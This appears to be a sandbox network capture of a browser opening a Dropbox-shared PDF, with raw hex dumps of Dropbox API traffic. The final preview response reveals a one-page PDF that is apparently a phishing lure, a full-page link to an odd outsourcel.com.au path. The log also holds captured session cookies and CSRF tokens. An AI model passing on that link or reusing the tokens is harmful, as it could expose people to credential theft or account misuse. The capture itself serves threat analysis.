2024-12-27 22:25:58 UTC	815	OUT	GET /pithos/api_helper_validation HTTP/1.1 Host: www.dropbox.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.dropbox.com/scl/fi/lncgsm76k7l5ix7fuu5t6/2024-OK-House-Outreach.pdf?rlkey=o4qr50zpdw1z14o6ikdg6zjt8&st=lrloyzlo&dl=0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:25:59 UTC	935	IN	HTTP/1.1 307 Temporary Redirect Content-Type: text/html; charset=utf-8 Content-Security-Policy: sandbox Location: https://www.dropbox.com/pithos/host%3Awww.dropbox.com/api_helper_validation Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: __Host-logged-out-session=ChB%2F9dIkTZfrT5dXvR9XgzvOEPfSvLsGGi5BTDA5Y1U3amg2SE9BQnE5UG9NaG1va1ZTb1hxSEprSkpuVW92U0dSSHFxZ1hR; HttpOnly; Path=/; SameSite=None; Secure X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 1; mode=block Date: Fri, 27 Dec 2024 22:25:58 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 178 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: ca1289e875df4d1facd84d6532b18b21 Connection: close
2024-12-27 22:25:59 UTC	178	IN	Data Raw: 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 0d 0a 54 68 65 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 6d 6f 76 65 64 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 70 69 74 68 6f 73 2f 68 6f 73 74 25 33 41 77 77 77 2e 64 72 6f 70 62 6f 78 2e 63 6f 6d 2f 61 70 69 5f 68 65 6c 70 65 72 5f 76 61 6c 69 64 61 74 69 6f 6e 3b 0d 0a 79 6f 75 20 73 68 6f 75 6c 64 20 62 65 20 72 65 64 69 72 65 63 74 65 64 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 2e 0d 0a 0d 0a 0d 0a Data Ascii: 307 Temporary RedirectThe resource has been moved to https://www.dropbox.com/pithos/host%3Awww.dropbox.com/api_helper_validation;you should be redirected automatically.

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:59 UTC	530	OUT	GET /2/client_metrics/record HTTP/1.1 Host: www.dropbox.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:26:00 UTC	388	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Content-Length: 116 Date: Fri, 27 Dec 2024 22:26:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 4ef8a7784fb1440e8c5c1df77d4b5074 Connection: close
2024-12-27 22:26:00 UTC	116	IN	Data Raw: 45 72 72 6f 72 20 69 6e 20 63 61 6c 6c 20 74 6f 20 41 50 49 20 66 75 6e 63 74 69 6f 6e 20 22 63 6c 69 65 6e 74 5f 6d 65 74 72 69 63 73 2f 72 65 63 6f 72 64 22 3a 20 55 73 65 20 48 54 54 50 20 50 4f 53 54 20 72 65 71 75 65 73 74 73 20 69 6e 73 74 65 61 64 20 6f 66 20 47 45 54 20 74 6f 20 61 63 63 65 73 73 20 44 72 6f 70 62 6f 78 20 41 50 49 27 73 Data Ascii: Error in call to API function "client_metrics/record": Use HTTP POST requests instead of GET to access Dropbox API's

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:59 UTC	554	OUT	GET /2/campaigns_toolkit/get_best_campaigns_for_user HTTP/1.1 Host: www.dropbox.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:26:00 UTC	411	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Content-Length: 140 Date: Fri, 27 Dec 2024 22:26:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 77cc02a47e3a4b4fbb26e44eef19a93b Connection: close
2024-12-27 22:26:00 UTC	140	IN	Data Raw: 45 72 72 6f 72 20 69 6e 20 63 61 6c 6c 20 74 6f 20 41 50 49 20 66 75 6e 63 74 69 6f 6e 20 22 63 61 6d 70 61 69 67 6e 73 5f 74 6f 6f 6c 6b 69 74 2f 67 65 74 5f 62 65 73 74 5f 63 61 6d 70 61 69 67 6e 73 5f 66 6f 72 5f 75 73 65 72 22 3a 20 55 73 65 20 48 54 54 50 20 50 4f 53 54 20 72 65 71 75 65 73 74 73 20 69 6e 73 74 65 61 64 20 6f 66 20 47 45 54 20 74 6f 20 61 63 63 65 73 73 20 44 72 6f 70 62 6f 78 20 41 50 49 27 73 Data Ascii: Error in call to API function "campaigns_toolkit/get_best_campaigns_for_user": Use HTTP POST requests instead of GET to access Dropbox API's

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:25:59 UTC	524	OUT	GET /2/udcl/log_timing HTTP/1.1 Host: www.dropbox.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:26:00 UTC	388	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Content-Length: 110 Date: Fri, 27 Dec 2024 22:26:00 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 46f19fa2b02c4eb8b689f2c289e0fd25 Connection: close
2024-12-27 22:26:00 UTC	110	IN	Data Raw: 45 72 72 6f 72 20 69 6e 20 63 61 6c 6c 20 74 6f 20 41 50 49 20 66 75 6e 63 74 69 6f 6e 20 22 75 64 63 6c 2f 6c 6f 67 5f 74 69 6d 69 6e 67 22 3a 20 55 73 65 20 48 54 54 50 20 50 4f 53 54 20 72 65 71 75 65 73 74 73 20 69 6e 73 74 65 61 64 20 6f 66 20 47 45 54 20 74 6f 20 61 63 63 65 73 73 20 44 72 6f 70 62 6f 78 20 41 50 49 27 73 Data Ascii: Error in call to API function "udcl/log_timing": Use HTTP POST requests instead of GET to access Dropbox API's

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:26:00 UTC	530	OUT	GET /2/stickers/get_stickers HTTP/1.1 Host: www.dropbox.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: gvc=MTQzNjM4MTIwNjEwNzQwMDkzMDcwNzY5MTYzNDQzNzg0MzU1MDE=; t=QaOB2p9E3FzER2bfFEleC_wa; __Host-js_csrf=QaOB2p9E3FzER2bfFEleC_wa; __Host-ss=Ywp98KLYBQ; locale=en
2024-12-27 22:26:00 UTC	425	IN	HTTP/1.1 404 Not Found Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 1233 Content-Type: text/html Date: Fri, 27 Dec 2024 22:26:00 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 801f41414e984151b54985df1973c114 Connection: close
2024-12-27 22:26:00 UTC	1233	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 44 72 6f 70 62 6f 78 20 2d 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 Data Ascii: <!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Dropbox - 404</title><link href="https://cfl.dropboxstatic.com/static/metaserve

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:26:00 UTC	1085	OUT	GET /p/pdf_txt/ACfR3womCtm-FZjYN0BJg_-92pPeFBQp_jKEwnlmCkynFMhZvM0CUMROR_80Yorg1SYpvyh0ZuGT2bq4ErICOcb0g_NpH9guFrYsaaRAJDwcxbEc3gaPltc6xi1v8NTnH4XxhMUEF_CaOhHii43F_VdOjlnARNB1WIZdf2sv0HjZQMIYNhyJr4S3tUTIIXYm9ZjZi2zxMDRkYPXm2ggzo1pjlRtGH7_-9L2EZph3T5Dfik8JHNb1P11iv8aasJWVbEzBnanyednZ0zkW6HQPBzLMccdJpBm3nmKQDIPAw_5Nvn6eMHSbNGfzP8ersB_kpUc-WLDWWePSkekI_2ZqZ1gmeBwL9L2RqlgCcyoRqxxn35QjTSvamhfc4_HJeJZNt0M/p.json?is_prewarmed=true&metadata=1&text=1&page_start=0&page_end=50 HTTP/1.1 Host: uc7a9ba0505dedffb2a40a9fc644.previews.dropboxusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: application/json Accept: / Origin: https://www.dropbox.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.dropbox.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-27 22:26:00 UTC	1126	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Accept-Ranges: bytes Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.dropbox.com Access-Control-Expose-Headers: Accept-Ranges, Content-Disposition, Content-Encoding, Content-Length, Content-Range, X-Dropbox-Metadata, X-Dropbox-Request-Id, X-JSON, X-Server-Response-Time, Timing-Allow-Origin, x-dropbox-pdf-password-needed Cache-Control: public, max-age=31536000, no-transform Content-Disposition: attachment; filename=JeJZNt0M.json Content-Security-Policy: sandbox Referrer-Policy: no-referrer Timing-Allow-Origin: * Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Dropbox-Content-Length: 286 X-Frame-Options: SAMEORIGIN X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 217 X-Webkit-Csp: sandbox Date: Fri, 27 Dec 2024 22:26:00 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: ec40d2587d564f5fa0e7e39079ec3b2d Connection: close Transfer-Encoding: chunked
2024-12-27 22:26:00 UTC	293	IN	Data Raw: 31 31 65 0d 0a 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 69 6d 65 6e 73 69 6f 6e 73 22 3a 5b 5b 35 36 32 2e 35 2c 37 32 31 2e 35 2c 31 5d 5d 2c 22 70 61 67 65 5f 63 6f 75 6e 74 22 3a 31 2c 22 73 63 68 65 6d 61 5f 76 65 72 73 69 6f 6e 22 3a 30 7d 2c 22 74 65 78 74 22 3a 7b 22 66 6f 6e 74 73 22 3a 5b 5d 2c 22 6c 69 6e 6b 73 22 3a 7b 22 30 22 3a 5b 7b 22 61 22 3a 7b 22 75 72 22 3a 22 68 74 74 70 3a 2f 2f 6f 75 74 73 6f 75 72 63 65 6c 2e 63 6f 6d 2e 61 75 2f 77 33 65 72 74 79 75 69 75 38 79 37 36 35 34 74 79 2f 22 7d 2c 22 72 22 3a 5b 2d 31 31 33 2e 38 39 33 38 32 39 33 34 35 37 30 33 2c 35 35 2e 34 32 38 39 33 39 38 31 39 33 33 35 39 2c 38 33 35 2e 32 34 36 34 35 39 39 36 30 39 33 38 2c 37 30 34 2e 37 36 37 30 38 39 38 34 33 37 35 5d 7d 5d 7d 2c 22 70 61 Data Ascii: 11e{"metadata":{"dimensions":[[562.5,721.5,1]],"page_count":1,"schema_version":0},"text":{"fonts":[],"links":{"0":[{"a":{"ur":"http://outsourcel.com.au/w3ertyuiu8y7654ty/"},"r":[-113.893829345703,55.4289398193359,835.246459960938,704.76708984375]}]},"pa
2024-12-27 22:26:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0